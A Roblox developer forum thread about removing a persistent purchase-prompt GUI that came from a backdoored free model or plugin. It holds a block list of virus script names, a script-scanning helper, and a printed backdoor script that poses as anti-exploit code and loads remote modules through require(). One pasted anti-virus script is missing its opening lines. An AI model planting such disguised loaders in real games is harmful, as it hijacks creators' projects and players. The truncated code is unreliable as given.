I believe what caused this to happen was adding a dupe Kohl’s Admin in the game, I believe I have deleted all the scripts and even checked all the other scripts to see if I could find something relating to this GUI that will not go away no matter how many times you hit Cancel. Ro-defender doesn’t find anything. Any more advice on what I could do? 
2 Likes
Do what @ItsMeFelixAccept suggested, but also try to find anything using ‘require()’ as they can also do this.
By the sounds of it you take everything you can from the marketplace. Even your security, not a smart move.
Remove all of it and do it yourself, this way you will avoid any trojan models or plugins.
What To Do:
- Locate Anything You Didn’t Create Yourself
- Temporarily Group Them
- Go Through Them 1 By 1 Opening Any Script And Looking For Anything Related To Marketplace Service (Use Ctrl + F To Quick Search). Any that use modules will need to have their modules checked, any that use a remote source that cannot be accessed should be removed immediately as there is no telling what is behind that source.
- DO NOT USE ANYONE ELSES SOFTWARE TO DO THIS AS THAT CAN JUST MAKE THE PROBLEM WORSE
- EVEN ANTI-EXPLOITS ARE NOT EXEPMT FROM THESE CHECKS.
1 Like
What are the plugins you have?
Possible Solutions:
-
Search For “MarketPlaceService” in Script Finder (CTRL + F). When you see a script that you didn’t make that has this in it, delete it.
-
Check who you took the “Kohls Admin” model from. If the creator is not the user “Scripth”, then immediately delete it and take the real Kohls Admin (which is created by the original creator, Scripth.
-
Search every script in the free models you have put in your game.
You got a free model from the toolbox right? Well find results will save your life on this one. You could try typing “script”, showing all the scripts in the game, but “MarketPlace” can be faster.
local bad = {"ROFL","4D Being", "Guest Free Chat Script", "Anti-Lag", "Guest_Talking_Script", "Infected", "Snap Reducer", "Spreadify", "Kill tem!", "join teh moovment!", "Wormed","Trashed","asdf","ROLF","kill tem","Anti-Lag2","Antivirus","Lolzorz","Guest Talking Script","soz i herd u lik mudkipz","Nice little scripty","Harmless little scripty"}
for i,child in pairs(model:getChildren()) do
if isBad(child.Name) and child.className == "Script" then
child:remove()
end
fix(child)
end
end
function isBad(name)
for i,child in pairs(bad) do
if string.lower(child) == string.lower(name) then
return true
end
end
return false
end
function onChatted(msg)
if string.lower(msg) == "game is cured" then
script:remove()
end
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg) end)
end
game.Players.PlayerAdded:connect(onPlayerEntered)
while true do
wait(5)
fix(workspace)
fix(game:getService("Lighting"))
fix(game:getService("Players"))
end
-- I, (Nickardson) Have Added Over 21 Viruses To The Bad List, And I'm Still Searching.
Put this script in serverscriptservice or workspace, credits to Nickardson
if you find the script causing this make sure to put it in the table
2 Likes
My friend aka OP had me clean out the game for him. So I’m just going to post my process here in case someone happens to stumble upon the same issue in the future.
my process
1. Create an empty folder in Workspace called '"daScripts"
2. Then create a script in ServerScriptService and paste in the code below
Script.lua (214 Bytes)
local ws = game.workspace:GetDescendants()
for i, v in pairs(ws) do
wait()
if v:IsA("Script") then
print ("Found: ", v)
v.Parent = game.Workspace.daScripts
else
print ("None found")
end
end
3. Run the game and allow the script to scan through the whole entire workspace (this process takes a while)
4. Once it finishes scanning, select all of the scripts under “daScripts” and Right Mouse Click → Open them in the browser window
5. Stop Running the game. At this point, you should have all of the scripts opened on the top bar and can search through them manually. Right click on one of them → Show in Explorer to find their location within workspace.
@ItsMeFelixAccept
That would’ve been a much easier way of doing this. I found that by just searching “require()”, it was enough to find it.
This is a really great resource! Thanks for sharing, but the ‘virus’ that I found was actually unnamed, so it was impossible for me to search for it’s name. 
3 Likes
Thank you, everyone, for your advice 
As seen above, @Yozoh did me the huge favor of taking a look at the game herself and was able to find the culprit.
I believe this could have been this plug-in that I grabbed from the Recommended Section:
I assume this because pressing on the plug-in leads you to this:
This a look at the script @Yozoh found:
--This an script of ROBLOX Studio. Do not delete it, this script secures your game from exploiters.
--Thanks.
local mymodule2 = require(3667797501)
mymodule2.antiexploit()
wait(2)
local mymodule = require(3664252382)
mymodule.antibackdoor()
Just in case anyone else is having a similar issue, triple check the plug-ins you have aren’t phished.